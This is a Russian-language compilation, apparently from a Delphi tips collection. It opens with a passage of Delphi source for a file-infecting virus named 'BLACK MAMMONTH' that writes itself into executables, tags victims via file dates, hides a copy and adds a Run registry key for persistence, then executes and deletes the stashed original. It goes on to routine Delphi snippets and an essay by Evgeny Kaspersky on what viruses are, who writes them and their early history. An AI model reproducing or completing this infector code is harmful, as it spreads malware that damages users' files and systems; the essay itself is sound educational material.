zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
zertva.Write(vir, virlen); //Запишем себя в жертву
if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
Birth := StrToDateTime('09.08.83 06:00:00');
//поставим жертве индикатор зараженности
FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
Zertva.FREE; //Отпускаем жертву!
Virus.FREE;
end;
Result := FindNEXT(Client); //Ищем следуюущий екзешник
end;
end;
procedure REGISTRATION;
begin
//первый раз, в первый класс!
MkDir('c:\inf\files'); //Создадим загон для жертв
AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
ReWrite(check);
WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
CloseFile(check); //Сделано!
par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
Reg := TRegistry.Create;
//И пусть этот маммонт запускается каждый раз!
FileSetAttr('c:\inf\mammonth.exe', faHidden);
with Reg do
begin
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
begin
WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
CloseKey;
end;
end;
//Все. Мы в реестре.
//Халтим вирус с правдоподобным сообщением-
//сюда можно вписать процедуру вызова StackOverflow
end;
//Процедура исполнения оригинальной проги
procedure EXECPROGRAM
begin
Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
//Вытащим из загона нужный файл
WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
AssignFile(NewProga, 'c:\inf\' + FromF);
ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
PR := 'c:\inf\' + '_' + Sr.Name;
Info.Free;
//Создали, теперь заКапустим его!!!
FillChar(Si, SizeOf(Si), 0);
with Si do
begin
cb := SizeOf(Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
//Application.Minimize;
Pr := Pr + #0;
Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
nil, si, p);
Waitforsingleobject(p.hProcess, infinite);
//Application.Restore;
//Все, отпахала юзерская прога- потрем ее на хрен!
AssignFile(slay, pr);
Erase(slay);
end.
{
КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}
begin
//узнаем имя файла, откуда стартовали
FindFirst(ParamStr(0), faAnyFile, sr);
//А вдруг первый раз на этом компе???
AssignFile(check, 'c:\inf\present.dat');
Reset(check);
if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
begin
REGISTRATION;
INFECTFILES;
HaLt;
end;
if sr.name = 'mammonth.exe' then
begin
//Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
//INFECTFILES;
HALT;
end;
INFECTFILES;
EXECPROGRAM;
{++++END OF THE WORLD NEAR++++}
end.
Коды виртуальных клавиш.
| Надпись на мониторе: Для продолжения нажмите все клавиши сразу. |
vk_LButton = $01;
vk_RButton = $02;
vk_Cancel = $03;
vk_MButton = $04; { генерятся только системой вместе с L & RBUTTON }
vk_Back = $08;
vk_Tab = $09;
vk_Clear = $0C;
vk_Return = $0D;
vk_Shift = $10;
vk_Control = $11;
vk_Menu = $12;
vk_Pause = $13;
vk_Capital = $14;
vk_Escape = $1B;
vk_Space = $20;
vk_Prior = $21;
vk_Next = $22;
vk_End = $23;
vk_Home = $24;
vk_Left = $25;
vk_Up = $26;
vk_Right = $27;
vk_Down = $28;
vk_Select = $29;
vk_Print = $2A;
vk_Execute = $2B;
vk_SnapShot = $2C;
{ vk_Copy = $2C не используется клавиатурой }
vk_Insert = $2D;
vk_Delete = $2E;
vk_Help = $2F;
{ vk_A - vk_Z такие же, как и их ASCII-эквиваленты: 'A' - 'Z' }
{ vk_0 - vk_9 такие же, как и их ASCII-эквиваленты: '0' - '9' }
vk_NumPad0 = $60;
vk_NumPad1 = $61;
vk_NumPad2 = $62;
vk_NumPad3 = $63;
vk_NumPad4 = $64;
vk_NumPad5 = $65;
vk_NumPad6 = $66;
vk_NumPad7 = $67;
vk_NumPad8 = $68;
vk_NumPad9 = $69;
vk_Multiply = $6A;
vk_Add = $6B;
vk_Separator = $6C;
vk_Subtract = $6D;
vk_Decimal = $6E;
vk_Divide = $6F;
vk_F1 = $70;
vk_F2 = $71;
vk_F3 = $72;
vk_F4 = $73;
vk_F5 = $74;
vk_F6 = $75;
vk_F7 = $76;
vk_F8 = $77;
vk_F9 = $78;
vk_F10 = $79;
vk_F11 = $7A;
vk_F12 = $7B;
vk_F13 = $7C;
vk_F14 = $7D;
vk_F15 = $7E;
vk_F16 = $7F;
vk_F17 = $80;
vk_F18 = $81;
vk_F19 = $82;
vk_F20 = $83;
vk_F21 = $84;
vk_F22 = $85;
vk_F23 = $86;
vk_F24 = $87;
vk_NumLock = $90;
vk_Scroll = $91;
|
Virtual ListView с контекстным меню.
| Два программера разговаривают: - Вася - ты каких любишь...? - Нуу - которые 800х600... - А я 1024х768 - они покрупней - обхватишь, так, прижмёшь.... - здорово (мечтательно, закрыв глаза и пуская, слюни). |
В Delphi5/Demos есть пример Virtual ListView. программка чем-то напоминает explorer, но без контекстного меню. контекстное меню приделывается так:
procedure TForm1.PopupMenu1Popup(Sender: TObject); var ContextMenu : IContextMenu; menu : HMENU; begin FIShellFolder.GetUIObjectOf(Handle, 1, ShellItem(ListView.Selected.index).ID, IID_IContextMenu, nil, ContextMenu); menu := CreatePopupMenu(); ContextMenu.QueryContextMenu(menu, 0, 1, $7FFF, CMF_EXPLORE); TrackPopupMenu(menu, TPM_LEFTALIGN or TPM_LEFTBUTTON or TPM_RIGHTBUTTON or TPM_RETURNCMD, Mouse.CursorPos.x, Mouse.CursorPos.y, 0, Handle, nil); DestroyMenu(menu); end; |
Как конвертировать виртуальную клавишу в ASCII код.
Получаем символ, соответствующий виртуальной клавише:
function GetCharFromVKey(vkey: Word): string;
var
keystate: TKeyboardState;
retcode: Integer;
begin
Win32Check(GetKeyboardState(keystate));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKey(vkey, 0),
keystate, @Result[1],
0);
case retcode of
0: Result := '';
1: SetLength(Result, 1);
2: ;
else
Result := '';
end;
end;
// Использование:
procedure TForm1.Edit1KeyDown
(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
ShowMessage(GetCharFromVKey(Key));
end;
|
Введение в вирусы.
Оформил: DeeCo
Автор: Евгений Касперский.
Стоит мне что-нибудь проглотить, как тут же происходит что-нибудь интересное. Посмотрим, что будет на этот раз! Льюис Керрол. «Алиса в стране чудес».
Феномен компьютерных вирусов
20-е столетие несомненно является одним из поворотных этапов в жизни человечества. Как сказал один из писателей-фантастов, «человечество понеслось вперед, как подстегнутая лошадь», и, определив себя как технократическую цивилизацию, все свои силы наши деды, отцы и мы сами бросили на развитие техники в самых разных ее обличиях - от медицинских приборов до космических аппаратов, от сельскохозяйственных комбайнов до атомных электростанций, от транспорта до систем связи, - список бесконечен, поскольку крайне сложно привести область деятельности человечества, не затронутую развитием техники. // Что являлось причиной столь широкомасштабного и стремительного развития - военное противостояние политических систем, эволюционное «поумнение» человека или его патологическая лень (изобрести колесо, дабы не таскать мамонта на плечах) - пока неясно. Оставим эту загадку для историков последующих столетий.
Человечество захвачено техникой и уже вряд ли откажется от удобств, предоставляемых ею (мало кто пожелает поменять современный автомобиль на гужевую тягу). Уже очень многими напрочь забыта обычная почта с ее конвертами и почтальонами - вместо нее пришла электронная почта с ее ошеломляющей скоростью доставки (до нескольких минут вне зависимости от расстояния) и очень высокой надежностью. Не представляю себе существования современного общества без компьютера, способного многократно повысить производительность труда и доставить любую мыслимую информацию (что-то вроде принципа «пойди туда, не знаю куда, найди то, не знаю что»). Уже не удивляемся мобильному телефону на улице - я и сам к нему привык всего за один день.
20-е столетие также является одним из самых противоречивых, принесших истории человечества немало парадоксов, основной из которых, как мне кажется, является отношение человека к природе. Перестав жить в дружбе с природой, победив ее и доказав себе, что легко может ее уничтожить, человек вдруг понял, что погибнет и сам, - и поменялись роли в драме »Человек-Природа». Раньше человек защищал себя от природы, теперь же он все больше и больше защищает природу от самого себя. Другим феноменом 20-го века является отношение человека к религии. Став технократом, человек не перестал верить в Бога (или его аналогов). Более того, появились и окрепли другие религии.
К основным техническим феноменам 20-го века относятся, на мой взляд, появление человека в космосе, утилизация атомной энергии вещества, грандиозный прогресс систем связи и передачи информации и, конечно же, ошеломляющее развитие микро- и макро-компьютеров. И как скоро появляется упоминание о феномене компьютеров, так тут же возникает еще один феномен конца нашего столетия - феномен компьютерных вирусов.
Быть может, многим покажется смешным или легкомысленным то, что факт возникновения компьютерных вирусов поставлен в один ряд с исследованиями космоса, атомного ядра и развитием электроники. Возможно, что я неправ в своих рассуждениях, однако дайте возможность объясниться.
Во-первых, компьютерные вирусы - это серьезная и довольно заметная проблема, возникновения которой никто не ожидал. Даже всевидящие фантасты-футурологи прошлого не говорят об этом ничего (насколько это мне известно). В их многочисленных произведениях с той или иной точностью предсказаны практически все технические достижения настоящего (вспомним, например, Уэллса с его идеей полета из пушки на Луну и марсиан, вооруженных неким подобием лазера). Если же говорить о вычислительных машинах, то тема эта вылизана донельзя - однако нет ни одного пророчества, посвященного компьютерным вирусам. Тема вируса в произведениях писателей появилась уже после того, как первый реальный вирус поразил свой первый компьютер.
Во-вторых, компьютерные вирусы - это первая вполне удачная попытка создать жизнь. Попытка удачная, но нельзя сказать, что полезная - современные компьютерные «микроорганизмы» более всего напоминают насекомых-вредителей, приносящих только проблемы и неприятности.
Но все таки - жизнь, поскольку компьютерным вирусам присущи все атрибуты живого - способность к размножению, приспособляемости к среде, движению и т.д. (естественно, только в пределах компьютеров - так же как все вышесказанное верно для биологических вирусов в пределах клеток организма). Более того, существуют «двуполые» вирусы (см. вирус RMNS), а примером »многоклеточности» могут служить, например, макро-вирусы, состоящие из нескольких независимых макросов.
И в-третьих, тема вирусов стоит несколько особняком от всех остальных задач, решаемых при помощи компьютера (забудем о таких специфичных задачах, как взлом защиты от копирования и крипрографию). Практически все проблемы, решаемые при помощи вычислительной техники, являются продолжением целенаправленной борьбы человека с окружающей его природой. Природа ставит человеку длинное нелинейное дифференциальное уравнение в трехмерном пространстве - человек набивает компьютер процессорами, памятью, обвешивает пыльными проводами, много курит и в итоге решает это уравнение (или пребывает в состоянии уверенности, что решил). Природа дает человеку кусок провода с вполне определенными характеристиками - человек придумывает алгоритмы передачи как можно большего объема информации по этому проводу, терзает его модуляциями, сжимает байты в биты и терпеливо ждет сверхпроводимости при комнатной температуре. Природа (в лице фирмы IBM) дает человеку очередное ограничение в виде очередной версии IBM PC - и человек не спит ночами, опять много курит, оптимизируя коды очередной базы данных, дабы уместить ее в предоставленные ему ресурсы оперативной и дисковой памяти. И так далее.
А вот борьба с компьютерными вирусами является борьбой человека с человеческим же разумом (в некотором смысле тоже проявлением природных сил, хотя на этот счет имеется более одного мнения). Эта борьба является борьбой умов, поскольку задачи, стоящие перед вирусологами, ставят такие же люди. Они придумывают новый вирус - а нам с ним разбираться. Затем они придумывают вирус, в котором разобраться очень тяжело - но мы с ним разбираемся. И сейчас наверняка где-то сидит за компьютером парень, который не глупее меня, страдающий над очередным монстром, в котором мне придется разбираться целую неделю, а потом еще одну неделю отлаживать алгоритм антивируса. Кстати, чем не эволюция живых организмов?
Итак, появление компьютерных вирусов - один из наиболее интересных моментов в истории технического прогресса 20-го века, и настал момент закончить с около-философскими рассуждениями и перейти к конкретным вопросам. И вопрос об определении понятия «компьютерный вирус» будет стоять на первом месте.
Так что же такое компьютерный вирус?
На горе лежит дискета У неё запорчен бут Через дырочку в конверте Её вирусы грызут (Народный фольклор).
Что такое компьютерный вирус
Объяснений, что такое компьютерный вирус, можно привести несколько. Самое простое - бытовое объяснение для домохозяйки, которая ни разу в жизни компьютера не видела, но знает, что Он есть, и что в Нем водятся Вирусы. Такое объяснение дается довольно легко, чего нельзя сказать о втором объяснении, рассчитанном на специалиста в области программ. Мне пока не представляется возможным дать точное определение компьютерного вируса и провести четкую грань между программами по принципу «вирус - невирус».
1. Объяснение для домохозяйкиОбъяснение будет дано на примере клерка, работающего исключительно с бумагами. Идея такого объяснения принадлежит Д.Н.Лозинскому.
Представим себе аккуратного клерка, который приходит на работу к себе в контору и каждый день обнаруживает у себя на столе стопку листов бумаги со списком заданий, которые он должен выполнить за рабочий день. Клерк берет верхний лист, читает указания начальства, пунктуально их выполняет, выбрасывает «отработанный» лист в мусорное ведро и переходит к следующему листу. Предположим, что некий злоумышленник тайком прокрадывается в контору и подкладывает в стопку бумаг лист, на котором написано следующее:
«Переписать этот лист два раза и положить копии в стопку заданий соседей».
Что сделает клерк? Дважды перепишет лист, положит его соседям на стол, уничтожит оригинал и перейдет к выполнению второго листа из стопки, т.е. продолжит выполнять свою настоящую работу. Что сделают соседи, являясь такими же аккуратными клерками, обнаружив новое задание? То же, что и первый: перепишут его по два раза и раздадут другим клеркам. Итого, в конторе бродят уже четыре копии первоначального документа, которые и дальше будут копироваться и раздаваться на другие столы.
Примерно так же работает и компьютерный вирус, только стопками бумаг-указаний являются программы, а клерком - компьютер. Так же как и клерк, компьютер аккуратно выполняет все команды программы (листы заданий), начиная с первой. Если же первая команда звучит как «скопируй меня в две другие программы», то компьютер так и сделает, - и команда-вирус попадает в две другие программы. Когда компьютер перейдет к выполнению других »зараженных» программ, вирус тем же способом будет расходиться все дальше и дальше по всему компьютеру.
В приведенном выше примере про клерка и его контору лист-вирус не проверяет, заражена очередная папка заданий или нет. В этом случае к концу рабочего дня контора будет завалена такими копиями, а клерки только и будут что переписывать один и тот же текст и раздавать его соседям - ведь первый клерк сделает две копии, очередные жертвы вируса - уже четыре, затем 8, 16, 32, 64 и т.д., т.е. количество копий каждый раз будет увеличиваться в два раза.
Если клерк на переписывание одного листа тратит 30 секунд и еще 30 секунд на раздачу копий, то через час по конторе будет «бродить» более 1.000.000.000.000.000.000 копий вируса! Скорее всего, конечно же, не хватит бумаги, и распространение вируса будет остановлено по столь банальной причине.
Как это ни смешно (хотя участникам этого инцидента было совсем не смешно), именно такой случай произошел в 1988 году в Америке - несколько глобальных сетей передачи информации оказались переполненными копиями сетевого вируса (вирус Морриса), который рассылал себя от компьютера к компьютеру. Поэтому «правильные» вирусы делают так:
«Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них еще нет этого листа».
Проблема решена - «перенаселения» нет, но каждая стопка содержит по копии вируса, при этом клерки еще успевают справляться и с обычной работой.
«А как же уничтожение данных?» - спросит хорошо эрудированная домохозяйка. Все очень просто - достаточно дописать на лист примерно следующее:
«1. Переписать этот лист два раза и положить копии в стопку заданий соседей, если у них еще нет этого листа. 2. Посмотреть на календарь - если сегодня пятница, попавшая на 13-е число, выкинуть все документы в мусорную корзину».
Примерно это и выполняет хорошо известный вирус «Jerusalem» (другое название - «Time»).
Кстати, на примере клерка очень хорошо видно, почему в большинстве случаев нельзя точно определить, откуда в компьютере появился вирус. Все клерки имеют одинаковые (с точностью до почерка) КОПИИ, но оригинал-то с почерком злоумышленника уже давно в корзине!
Вот такое простое объяснение работы вируса. Плюс к нему хотелось бы привести две аксиомы, которые, как это ни странно, не для всех являются очевидными:
Во-первых, вирусы не возникают сами собой - их создают очень злые и нехорошие программисты-хакеры и рассылают затем по сети передачи данных или подкидывают на компьютеры знакомых. Вирус не может сам собой появиться на Вашем компьютере - либо его подсунули на дискетах или даже на компакт-диске, либо Вы его случайно скачали из компьютерной сети передачи данных, либо вирус жил у Вас в компьютере с самого начала, либо (что самое ужасное) программист-хакер живет у Вас в доме.
Во-вторых: компьютерные вирусы заражают только компьютер и ничего больше, поэтому не надо бояться - через клавиатуру и мышь они не передаются.
2. Попытка дать «нормальное» определениеПервые исследования саморазмножающихся искусственных конструкций проводились в середине нынешнего столетия. В работах фон Неймана, Винера и других авторов дано определение и проведен математический анализ конечных автоматов, в том числе и самовоспроизводящихся. Термин «компьютерный вирус» появился позднее - официально считается, что его впервые употребил сотрудник Лехайского университета (США) Ф.Коэн в 1984 г. на 7-й конференции по безопасности информации, проходившей в США. С тех пор прошло немало времени, острота проблемы вирусов многократно возросла, однако строгого определения, что же такое компьютерный вирус, так и не дано, несмотря на то, что попытки дать такое определение предпринимались неоднократно.
Основная трудность, возникающая при попытках дать строгое определение вируса, заключается в том, что практически все отличительные черты вируса (внедрение в другие объекты, скрытность, потенциальная опасность и проч.) либо присущи другим программам, которые никоим образом вирусами не являются, либо существуют вирусы, которые не содержат указанных выше отличительных черт (за исключением возможности распространения).
Например, если в качестве отличительной характеристики вируса принимается скрытность, то лекго привести пример вируса, не скрывающего своего распространения. Такой вирус перед заражением любого файла выводит сообщение, гласящее, что в компьютере находится вирус и этот вирус готов поразить очередной файл, затем выводит имя этого файла и запрашивает разрешение пользователя на внедрение вируса в файл.
Если в качестве отличительной черты вируса приводится возможность уничтожения им программ и данных на дисках, то в качестве контрпримера к данной отличительной черте можно привести десятки совершенно безобидных вирусов, которые кроме своего распространения ничем больше не отличаются.
Основная же особенность компьютерных вирусов - возможность их самопроизвольного внедрения в различные объекты операционной системы - присуща многим программам, которые не являются вирусами. Например, самая распространенная операционная система MS-DOS имеет в себе все необходимое, чтобы самопроизвольно устанавливаться на не-DОS'овские диски. Для этого достаточно на загрузочный флоппи-диск, содержащий DOS, записать файл AUTOEXEC.BAT следующего содержания:
SYS A: COPY *.* A:\ SYS B: COPY *.* B:\ SYS C: COPY *.* C:\ ...
Модифицированная таким образом DOS сама станет самым настоящим вирусом с точки зрения практически любого существующего определения компьютерного вируса.
Таким образом, первой из причин, не позволяющих дать точное определение вирусу, является невозможность однозначно выделить отличительные признаки, которые соответствовали бы только вирусам.
Второй же трудностью, возникающей при формулировке определения компьютерного вируса является то, что данное определение должно быть привязано к конкретной операционной системе, в которой этот вирус распространяется. Например, теоретически могут существовать операционные системы, в которых наличие вируса просто невозможно. Таким примером может служить система, где запрещено создавать и изменять области выполняемого кода, т.е. запрещено изменять объекты, которые либо уже выполняются, либо могут выполняться системой при каких-либо условиях.
Поэтому представляется возможным сформулировать только обязательное условие для того, чтобы некоторая последовательность выполняемого кода являлась вирусом.
ОБЯЗАТЕЛЬНЫМ (НЕОБХОДИМЫМ) СВОЙСТВОМ КОМПЬЮТЕРНОГО ВИРУСА является возможность создавать свои дубликаты (не обязательно совпадающие с оригиналом) и внедрять их в вычислительные сети и/или файлы, системные области компьютера и прочие выполняемые объекты. При этом дубликаты сохраняют способность к дальнейшему распространению.
Следует отметить, что это условие не является достаточным (т.е. окончательным), поскольку следуя вышеприведенному примеру операционная система MS-DOS удовлетворяет данному свойству, но вирусом, скорее всего, не является.
Вот почему точного определения вируса нет до сих пор, и вряд ли оно появится в обозримом будущем. Следовательно нет точно определенного закона, по которому «хорошие» файлы можно отличить от «вирусов». Более того, иногда даже для конкретного файла довольно сложно определить, является он вирусом или нет.
Вот два примера: вирус KOH и программа ALREADY.COM.
Пример 1. Есть... вирус? утилита? с названием KOH. Эта программа шифрует/расшифровывает диски _только_по_запросу_пользователя_. Выполнена она в виде загрузочной дискеты - boot-сектор содержит bootstrap loader KOH, а где-то в других секторах лежит основной код KOH. При загрузке с дискеты KOH задает пользователю вопрос типа: «А можно, я сам себя установлю на винчестер?» (если он уже на винчестере, то спрашавает то же самое про дискету). При утвердительном ответе KOH переносит себя с диска на диск.
В результате KOH переносит (копирует) сам себя с дискеты на винчестер, а с винчестера на дискеты, но только с разрешения хозяина компьютера.
Затем KOH выводит текст о своих hot-keys («горячие» клавиши), по которым он шифрует/расшифровывает диски - спрашивает пароль, читает сектора, шифрует их и делает недоступными, если не знать пароля. Есть у него, кстати, ключ де-инсталляции, по коему он сам себя с диска убирает (расшифровав, естественно, все, что было зашифровано).
Итого, KOH - это некая утилита защиты информации от несанкционированного доступа. Добавлена к ней, правда, одна особенность: сия утилита сама себя может копировать с диска на диск (с разрешения пользователя). Вирус ли это?.. Да или нет? Скорее всего - нет...
И все-бы было ничего, и никто бы эту утилиту по имени KOH вирусом не обозвал, но только bootstrap loader у этого KOH практически на 100% совпадает с довольно «популярным» вирусом «Havoc» («StealthBoot»)... «и все - и крышка празднику». Вирус! И официальное название есть - «StealthBoot.KOH».
Если бы, конечно, автором KOH был бы не безызвестный программист, а, скажем, Симантек, или Sierra, или даже Сам Microsoft, то никто бы и не посмел назвать это вирусом...
Пример 2. Есть некая программа ALREADY.COM, которая сама себя копирует в разные подкаталоги на диске в зависимости от системной даты. Вирус? Конечно да - типичный вирус-червь, сам себя расползающий по дискам (включая сетевые). Да?.. Да!
«Вы играли - но не угадали ни одной буквы!» Не вирус это, как оказалось, а компонента от какого-то софтвера. Однако если этот файл выдернуть из этого софтвера, то ведет он себя как типичный вирус.
Итого были приведены два живых примера:
1. не-вирус - вирус 2. вирус - не-вирус
Внимательный читатель, который не прочь поспорить, может возразить:
Стоп. Название «вирусы» по отношению к программам пришло из биологии именно по признаку саморазмножения. КОН этому условию соответствует, следовательно это есть вирус (или комплекс, включающий вирусный компонент)...
В таком случае DOS является вирусом (или комплексом, включающим вирусный компонент), поскольку в нем есть команда SYS и COPY. А если на диске присутствует файл AUTOEXEC.BAT, приведенный несколькими абзацами выше, то для размножения не потребуется даже вмешательства пользователя. Плюс к этому: если принять за необходимый и достаточной признак вируса возможность саморазмножения, то тогда любая программа, имеющая инсталлятор, является вирусом. Итого: аргумент не проходит.
... что, если под вирусом понимать не просто «саморазмножающийся код», но «саморазмножающийся код, не выполняющий полезных действий или даже приносящий вред, без привлечения/информирования пользователя»...
Вирус KOH является программой, шифрующей диски по паролю, вводимому пользователем. _Все_ свои действия KOH комментирует на экране и спрашивает разрешения пользователя. Плюс к тому имеет деинсталлятор - расшифровывает диски и удаляет с них свой код. Однако все равно - вирус!
Если в случае с ALREADY.COM привлечь субъективные критерии (полезна/не полезна, входит в комплект/самостоятельна и т.п.), то, возможно, это и не стоит называть вирусом/червяком. Но стоит ли привлекать эти самые субъективные критерии?
А какие могут быть объективные критерии вируса? Саморазмножение, скрытность и деструктивные свойства? Но ведь на каждый объективный критерий можно привести два контрпримера - a) пример вируса, не подходящего под критерий, и b) пример не-вируса, подходящего под критерий:
Саморазмножение: Intended-вирусы, не умеющие размножаться по причине большого количества ошибок, или размножающиеся только при очень ограниченных условиях. MS-DOS и вариации на тему SYS+COPY. Скрытность: Вирусы «KOH», «VirDem», «Macro.Word.Polite» и некоторые другие информируют пользователя о своем присутствии и размножении. Сколько примерно (с точностью до десятка) драйверов сидит под стандартной Windows95 ? Скрытно сидит, между прочим. Деструктивные свойства: Безобидные вирусы, типа «Yankee», которые прекрасно живут в DOS, Windows 3.x, Win95, NT и ничего никуда не гадят. Старые версии Norton Disk Dосtоr'а на диске с длинными именами файлов. Запуск NDD в этом случае превращает Disk Dосtоr'а в Disk Dеstrоуеr'а.Посему тема «нормального» определения компьютерного вируса остается открытой. Есть только несколько точных вех: например, файл COMMAND.COM вирусом не является, а печально известная программа с текстом «Dis is one half» является стопроцентным вирусом («OneHalf»). Все, что лежит между ними, может как оказаться вирусом, так и нет.
Не горячитесь, Шура, - вы еще не отсидели за прошлое дело. из Жванецкого.
Кто и почему пишет вирусы?
Сам я написанием вирусов не занимался, с их авторами пересекаюсь довольно редко, и, следовательно, мои соображения по этому поводу могут быть лишь чисто теоретическими.
Так кто же пишет вирусы? На мой взгляд, основную их массу создают студенты и школьники, которые только что изучили язык ассемблера, хотят попробовать свои силы, но не могут найти для них более достойного применения. Отраден тот факт, что значительная часть таких вирусов их авторами часто не распространяется, и вирусы через некоторое время «умирают» вместе с дискетами, на которых хранятся. Такие вирусы пишутся скорее всего только для самоутверждения.
Вторую группу составляют также молодые люди (чаще - студенты), которые еще не полностью овладели искусством программирования, но уже решили посвятить себя написанию и распространению вирусов. Единственная причина, толкающая подобных людей на написание вирусов, это комплекс неполноценности, который проявляет себя в компьютерном хулиганстве.
Из-под пера подобных «умельцев» часто выходят либо многочисленные модификации «классических» вирусов, либо вирусы крайне примитивные и с большим числом ошибок (такие вирусы я называю «студенческими»). Значительно облегчилась жизнь подобных вирусописателей после выхода конструкторов вирусов, при помощи которых можно создавать новые вирусы даже при минимальных знаниях об операционной системе и ассемблере, или даже вообще не имея об этом никакого представления. Их жизнь стала еще легче после появления макро-вирусов, поскольку вместо сложного языка Ассемблер для написания макро-вирусов достаточно изучить довольно простой Бейсик.
Став старше и опытнее, но так и не повзрослев, многие из подобных вирусописателей попадают в третью, наиболее опасную группу, которая создает и запускает в мир «профессиональные» вирусы. Эти очень тщательно продуманные и отлаженные программы создаются профессиональными, часто очень талантливыми программистами. Такие вирусы нередко используют достаточно оригинальные алгоритмы, недокументированные и мало кому известные способы проникновения в системные области данных. «Профессиональные» вирусы часто выполнены по технологии «стелс» и(или) являются полиморфик-вирусами, заражают не только файлы, но и загрузочные сектора дисков, а иногда и выполняемые файлы Windows и OS/2.
Довольно значительную часть в моей коллекции занимают «семейства» - группы из нескольких (иногда более десятка) вирусов. Представителей каждой их таких групп можно выделить по одной отличительной черте, которая называется «почерком»: в нескольких различных вирусах встречаются одни и те же алгоритмы и приемы програмирования. Часто все или почти все представители семейства принадлежат одному автору, и иногда довольно забавно следить за «становлением пера» подобного художника - от почти «студенческих» попыток создать хоть что-нибудь, похожее на вирус, до вполне рабоспособной реализации «профессионального» вируса.
По моему мнению, причина, заставляющая таких людей направлять свои способности на такую бессмысленную работу все та же - комплекс неполноценности, иногда сочетающийся с неуравновешенной психикой. Показателен тот факт, что подобное вирусописительство часто сочетается с другими пагубными пристрастиями. Так, весной 1997 года один из наиболее известных в мире авторов вирусов по кличке Talon (Австралия) скончался в возрасте 21 года от летальной дозы героина.
Несколько отдельно стоит четвертая группа авторов вирусов - «исследователи». Эта группа состоит из довольно сообразительных программистов, которые занимаются изобретением принципиально новых методов заражения, скрытия, противодействия антивирусам и т.д. Они же придумывают способы внедрения в новые операционные системы, конструкторы вирусов и полиморфик-генераторы. Эти программисты пишут вирусы не ради собственно вирусов, а скорее ради «исследования» потенциалов «компьютерной фауны».
Часто авторы подобных вирусов не запускают свои творения в жизнь, однако очень активно пропагандируют свои идеи через многочисленные электронные издания, посвященные созданию вирусов. При этом опасность от таких «исследовательских» вирусов не падает - попав в руки «профессионалов» из третьей группы, новые идеи очень быстро реализуются в новых вирусах.
Отношение к авторам вирусов у меня тройственное. Во-первых, все, кто пишет вирусы или способствует их распространению, являются «кормильцами» антивирусной индустрии, годовой оборот которой я оцениваю как минимум две сотни миллионов долларов или даже более того (при этом не стоит забывать, что убытки от вирусов составляют несколько сотен миллионов долларов ежегодно и в разы превышают расходы на антивирусные программы). Если общее количество вирусов к концу 1997 года скорее всего достигнет 20.000, то нетрудно подсчитать, что доход антивирусных фирм от каждого вируса ежегодно составляет минимум 10 тысяч долларов. Конечно же, авторам вирусов не следует надеяться на материальное вознаграждение: как показывает практика, их труд был и остается бесплатным. К тому же на сегодняшний день предложение (новые вирусы) вполне удовлетворяет спрос (возможности антивирусных фирм по обработке новых вирусов).
Во-вторых, мне несколько жаль авторов вирусов, особенно «профессионалов». Ведь для того, чтобы написать подобный вирус, необходимо: a) затратить довольно много сил и времени, причем гораздо больше, чем требуется для того, чтобы разобраться в вирусе занести его в базу данных или даже написать специальный антивирус; и б) не иметь другого, более привлекательного, занятия. Следовательно, вирусописатели-»профессионалы» довольно работоспособны и одновременно с этим маются от безделья - ситуация, как мне кажется, весьма печальная.
И в третьих, к моему отношении к авторам вирусов довольно сильно подмешаны чувства нелюбви и презрения как к людям, заведомо и бесцельно тратящим себя во вред всем остальным.
Тяжела и неказиста Жизнь простого программиста (Народный фольклор).
Нет предела нашему интегралу. (Народная мудрость).
История компьютерных вирусов — от древности до наших дней
1. Немного археологииМнений по поводу даты рождения первого компьютерного вируса очень много. Мне доподлинно известно только одно: на машине Беббиджа его не было, а на Univac 1108 и IBM-360/370 они уже были («Pervading Animal» и «Christmas tree»). Таким образом, первый вирус появился где-то в самом начале 70-х или даже в конце 60-х годов, хотя «вирусом» его никто еще не называл. На этом разговор о вымерших ископаемых предлагаю считать завершенным.
2. Начало путиПоговорим о новейшей истории: «Brain», «Vienna», «Cascade» и далее. Те, кто начал работать на IBM-PC аж в середине 80-х, еще не забыли повальную эпидемию этих вирусов в 1987-89 годах. Буквы сыпались на экранах, а толпы пользователей неслись к специалистам по ремонту дисплеев (сейчас все наоборот: винчестер сдох от старости, а валят на неизвестный передовой науке вирус). Затем компьютер заиграл чужеземный гимн «Yankee Doodle», но чинить динамики уже никто не бросился - очень быстро разобрались, что это - вирус, да не один, а целый десяток.
Так вирусы начали заражать файлы. Вирус «Brain» и скачущий по экрану шарик вируса «Ping-pong» ознаменовали победу вируса и над Boot-сектором. Все это очень не нравилось пользователям IBM-PC, и - появились противоядия. Первым попавшимся мне антивирусом был отечественный ANTI-KOT: это легендарный Олег Котик выпустил в свет первые версии своей программы, которая уничтожала целых 4 (четыре) вируса (американский SCAN появился у нас в стране несколько позднее). Кстати, всем, кто до сих пор сохранил копию этого антивируса, предлагаю немедленно ее стереть (да простит меня Олег Котик!) как программу вредную и ничего, кроме траты лишних нервов и ненужных телефонных звонков, не приносящую. К сожалению, ANTI-KOT определяет вирус «Time» («Иерусалимский») по комбинации «MsDos» в конце файла, а некоторые другие антивирусы эти самые буквы аккуратно прицепляют ко всем файлам с расширением COM или EXE.
